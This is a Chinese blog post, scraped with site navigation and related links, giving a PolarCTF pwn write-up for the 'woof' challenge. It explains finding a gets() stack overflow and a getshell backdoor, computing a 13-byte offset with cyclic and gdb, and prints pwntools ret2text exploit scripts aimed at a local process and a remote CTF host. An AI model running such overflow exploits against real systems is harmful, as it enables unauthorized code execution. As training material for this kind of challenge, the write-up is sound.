当前位置: 首页 > news >正文

【PolarCTF】小狗汪汪汪

官方解题过程

视频地址:https://www.bilibili.com/video/BV1fr4y1Z73F/?spm_id_from=333.999.0.0&vd_source=8f0afd63b200110f194b702a250fa6ec

将woof拖入虚拟机进行识别

checksec

将woof拖入32位的IDA

点击查看init(),发现就是一些没用的初始化函数

分析dog()函数,发现很明显的溢出

按下Shift+F12

点击/bin/sh

然后Ctrl+x跟进下

F5找到了后门函数

下面动态调试woof

创建200个长度的字符串,并复制下来

这里200个字符串是随意的,也可以是其他的,主要是让程序报错得到偏移量

然后main函数下断点

然后输入r运行

一直n运行到输入点,将刚刚的字符串粘贴进去

发现程序中断报错

将报错的地址进行复制,计算偏移量

偏移量13的意义是: - 表示从输入缓冲区的起始位置到覆盖返回地址的距离 - 具体来说: - 前13个字节是正常的缓冲区数据 - 第14个字节开始就会覆盖返回地址 - 这就是为什么最后的exploit是"13个A + 后门地址"

然后查看下getshell函数地址,发现getshell函数地址为0804859b

使用objdump快速查找getshell函数地址
# --解释 # -d:反汇编 # -M:使用Intel格式的汇编代码 objdump -d -M intel ./woof | grep getshell

也可以在IDA中找getshell的地址,右键选择“Copy to assembly”

然后编辑下利用脚本

执行脚本

# 本地调试 from pwn import * io = process('./woof') # process or remote payload = 'A'*13 + p32(0x0804859b) io.sendline(payload) io.interactive()
# 远程攻击 from pwn import * io = remote('1.95.36.136', '2119') # process or remote payload = 'A'*13 + p32(0x0804859b) io.sendline(payload) io.interactive()

下面是自己昨天做题成功的解码

自己的做题过程

先检查下woof的

NX是数据页不可执行,ret2text是跳转到可执行的text段并没有影响。

影响ret2text的Cannary(防止栈溢出)和PIE都没有开启(地址随机化)

是32位的程序

用IDA32为的分析下 woof

然后按下F5查看伪代码

可以看到有2个函数

第一个init()函数没什么作用,就是方便我们做题做的前置设置

主要是dog()函数,可以看到接收gets(s),而且可以看到s大小为9

那么接下来我们找下,后门函数

可以看到getshell可以帮助我们获取到/bin/sh,并且它的地址为0x804859B

那么我们就需要先填充9个字节的内容把s的内容填占满,然后再额外填充4个字节的内容把ebp占满,然后再将getshell的地址填充到返回地址即可0x804859B

payload如下

from pwn import * io = process("./woof") # 攻击远程的程序将process换成remote(地址,端口) io = remote("1.95.36.136","2113") get_shell_addr = 0x804859B payload = b"A"*0x9 + b"BBBB" + p32(get_shell_addr) io.sendline(payload) io.interactive()

这里我们直接看IDA分析看到是需要9个字节可以填充到ebp,但是有时候IDA里面是分析错误的,所以最好我们手动进行分析

一直输入n步过,直到运行到dog()函数,输入s步进到dog()函数

进入到函数之后,也是一直输入n步过,执行到gets()函数位置

到gets位置后会让你输入字符,这里我就输入AAAA,然后回车

再输入stack 24,查看堆栈信息

我们输入的内容是存放到eax中的,这里我们要计算下ebp到eax的

注意这里eax-3,所以要额外多减去3,可以看到算出的也是9,就说明要填充9个字节内容来占满。

疑问解答

因为自己是第一次学习PWN,想弄清楚一些细节,下面是我与豆包的对话

1、IDA的Ctrl+x是什么快捷键?有什么用?

2、F5是什么的快捷键?有什么用?

3、cyclic 200这个命令是什么用?如何记忆这个命令?

4、“cyclic -l 报错地址”计算的是什么东西?为什么通过这个就可以确定要填充的垃圾数据长度?

5、解释下命令“objdump -d -M inter ./woof | grep getshell”

6、cyclic -l 的工作过程是什么样子的?

7、“objdump -d -M intel ... | grep” -d参数我应该如何记忆住

http://www.cnnetsun.cn/news/1826491.html

相关文章:

  • Cosmos-Reason1-7B代码生成实战:辅助Python爬虫开发与优化
  • VMware ESXi 9.0.1.0 macOS Unlocker OEM BIOS 2.7 集成网迅网卡驱动定制版
  • 实时手机检测-通用保姆级教程:从镜像启动到图片检测全流程
  • 为什么HuggingFace尚未集成SITS2026标准?揭秘其v1.2 Spec中隐藏的3个NVLink直通协议约束
  • GME-Qwen2-VL-2B-Instruct部署运维:如何监控服务状态与优化C盘存储
  • 如何通过二进制补丁技术实现微信QQ消息防撤回功能
  • 3步解锁Windows PDF处理新境界:告别复杂编译,拥抱Poppler预编译工具包
  • GLM-4.1V-9B-Base快速上手:开箱即用Web镜像免配置环境部署教程
  • Nunchaku FLUX.1-dev 实战案例:为MATLAB仿真结果自动生成可视化报告图
  • 5步掌握CAD_Sketcher:Blender约束驱动设计的终极指南
  • Spring Boot项目实战:手把手教你集成AJ-Captcha行为验证码(含Redis缓存配置)
  • DellFanManagement终极指南:如何精准控制你的戴尔笔记本风扇
  • 超越官方教程:用CAA注意力为YOLOv11做一次‘颈部按摩’,遥感图像检测涨点实录
  • 从MySQL 8.0到人大金仓V8R6:一次平滑迁移的实战记录
  • EVA-02 Transformer内核解析:从原理到GPU部署优化
  • ClickHouse远程备份恢复避坑指南:从文件上传到单表恢复完整版
  • 让数据说话,让决策有据——构建闭环的数据驱动运营体系
  • 3分钟快速配置Venera漫画源:解锁海量漫画资源的完整教程
  • 华为OD机试真题 新系统2026-04-01 C语言 实现【空间占用计算】
  • 淘宝卖家必看:3种高效批量获取商品上下架时间的工具对比(附实操步骤)
  • 第206章 后稀缺社会的烦恼(秀秀)
  • 别把 ABAP Released API 当成万能通行证,API Catalog 才是你在不同系统环境里真正要看懂的那道门
  • M2LOrder模型微调接入:LoRA适配器支持自定义领域情感训练
  • 终极显卡显存检测指南:使用memtest_vulkan快速验证GPU内存稳定性
  • 龙芯k - 走马观碑组MPU驱动移植芯
  • Qwen3.5-2B轻量化教程:从模型下载、环境配置到7860界面访问完整链路
  • 南麟LN1176 低功耗高输入电压CMOS电压稳压器
  • 【C++初阶】List常用接口详解
  • C语言期末突击:手把手教你搞定吉林大学计算机系高频考题(附完整代码)
  • 用SQL解决服务数据的动态计算